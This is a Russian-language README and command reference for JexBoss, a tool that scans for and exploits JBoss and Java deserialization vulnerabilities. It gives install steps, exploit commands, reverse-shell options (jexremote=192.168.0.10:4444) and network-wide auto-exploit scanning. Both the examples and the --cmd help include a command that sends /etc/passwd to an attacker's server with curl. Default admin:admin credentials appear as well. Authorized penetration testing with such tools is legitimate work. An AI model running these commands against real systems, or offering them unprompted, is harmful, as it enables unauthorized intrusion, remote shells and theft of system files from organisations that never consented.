
JexBoss: инструмент для проверки и эксплуатации JBoss (и уязвимостей десериализации Java)
JexBoss — это инструмент для тестирования и эксплуатации уязвимостей в JBoss Application Server и других Java-платформах, фреймворках, приложениях и т.д.
Для установки последней версии JexBoss используйте следующие команды:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
ИЛИ:
Скачайте последнюю версию по адресу: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
Если вы используете CentOS с Python 2.6, установите Python2.7. Пример установки Python 2.7 на CentOS с использованием Collections Software scl:
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash
Если вы используете Windows, вы можете использовать Git Bash для запуска JexBoss. Выполните следующие шаги:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
Инструмент и эксплойты разработаны и протестированы для:
Векторы эксплуатации:
$ python jexboss.py

$ python jexboss.py -u http://192.168.0.26:8080

$ python jexboss.py -h
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt


После эксплуатации сервера JBoss вы можете использовать собственную командную оболочку jexboss или выполнить обратное подключение с помощью следующей команды:
jexremote=YOUR_IP:YOUR_PORT
Пример:
Shell>jexremote=192.168.0.10:4444

При эксплуатации уязвимостей десериализации Java (десериализация приложений, десериализация сервлетов) опции по умолчанию: создать обратное соединение оболочки или отправить команду для выполнения.
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
optional arguments:
-h, --help показать это справочное сообщение и выйти
--version показать версию программы и выйти
--auto-exploit, -A Автоматически отправлять код эксплойта (ИСПОЛЬЗУЙТЕ ТОЛЬКО ПРИ НАЛИЧИИ РАЗРЕШЕНИЯ!!!)
--disable-check-updates, -D
Отключить две проверки обновлений: 1) Проверку обновлений,
выполняемую веб-оболочкой на атакованном сервере по адресу
http://webshell.jexboss.net/jsp_version.txt и 2) проверку
обновлений, выполняемую клиентом jexboss по адресу
http://joaomatosf.com/rnp/releases.txt
-mode {standalone,auto-scan,file-scan}
Режим работы (ПО УМОЛЧАНИЮ: standalone)
--app-unserialize, -j
Проверить уязвимости десериализации Java в HTTP-параметрах
(например, javax.faces.ViewState, oldFormData и т.д.)
--servlet-unserialize, -l
Проверить уязвимости десериализации Java в сервлетах
(например, интерфейсы Invoker)
--jboss Проверять только векторы JBOSS.
--jenkins Проверять только вектор Jenkins CLI.
--jmxtomcat Проверить JMX JmxRemoteLifecycleListener в Tomcat
(CVE-2016-8735 и CVE-2016-8735). ПРИМ.: Не проверяется по умолчанию.
--proxy PROXY, -P PROXY
Использовать HTTP-прокси для подключения к целевому URL
(например, -P http://192.168.0.1:3128)
--proxy-cred LOGIN:PASS, -L LOGIN:PASS
Учётные данные для аутентификации прокси (например, -L name:password)
--jboss-login LOGIN:PASS, -J LOGIN:PASS
Логин и пароль JBoss для эксплуатации admin-console в
JBoss 5 и JBoss 6 (по умолчанию: admin:admin)
--timeout TIMEOUT Секунды ожидания до тайм-аута соединения (по умолчанию 3)
Режим автономной работы:
-host HOST, -u HOST Адрес хоста для проверки (например, -u
http://192.168.0.10:8080)
Расширенные опции (ИСПОЛЬЗУЙТЕ ПРИ ЭКСПЛУАТАЦИИ JAVA UNSERIALIZE В УРОВНЕ ПРИЛОЖЕНИЯ):
--reverse-host RHOST:RPORT, -r RHOST:RPORT
Адрес удалённого хоста и порт для обратной оболочки
при эксплуатации уязвимостей десериализации Java
на уровне приложения (пока работает только в системах
*nix) (например, 192.168.0.10:1331)
--cmd CMD, -x CMD Отправить конкретную команду для выполнения на цели
(например, curl -d @/etc/passwd http://your_server)
--windows, -w Указывает, что команды предназначены для системы
Windows (cmd.exe)
--post-parameter PARAMETER, -H PARAMETER
Указать параметр для поиска и внедрения
сериализованных объектов. (например, -H javax.faces.ViewState
или -H oldFormData (<- Привет PayPal =X) или другие)
(ПО УМОЛЧАНИЮ: javax.faces.ViewState)
--show-payload, -t Вывести сгенерированную полезную нагрузку.
--gadget {commons-collections3.1,commons-collections4.0,groovy1}
Указать тип Gadget для автоматической генерации
полезной нагрузки. (ПО УМОЛЧАНИЮ: commons-collections3.1
или groovy1 для Jenkins)
--load-gadget FILENAME
Предоставить свой собственный gadget из файла
(сериализованный объект Java в сыром виде)
--force, -F Принудительно отправлять сериализованные Java-gadget'ы
на URL, указанный в параметре -u. Полезная нагрузка
будет отправлена в нескольких форматах (например,
RAW, GZIPED и BASE64) и с разными Content-Type.
Режим автоматического сканирования:
-network NETWORK Сеть для проверки в формате CIDR (например, 10.0.0.0/8)
-ports PORTS Список портов, разделённых запятыми, для проверки
каждого хоста (например, 8080,8443,8888,80,443)
-results FILENAME Имя файла для сохранения результатов автосканирования
Режим сканирования из файла:
-file FILENAME_HOSTS Имя файла со списком хостов для сканирования (один хост
на строку)
-out FILENAME_RESULTS
Имя файла для сохранения результатов сканирования из файла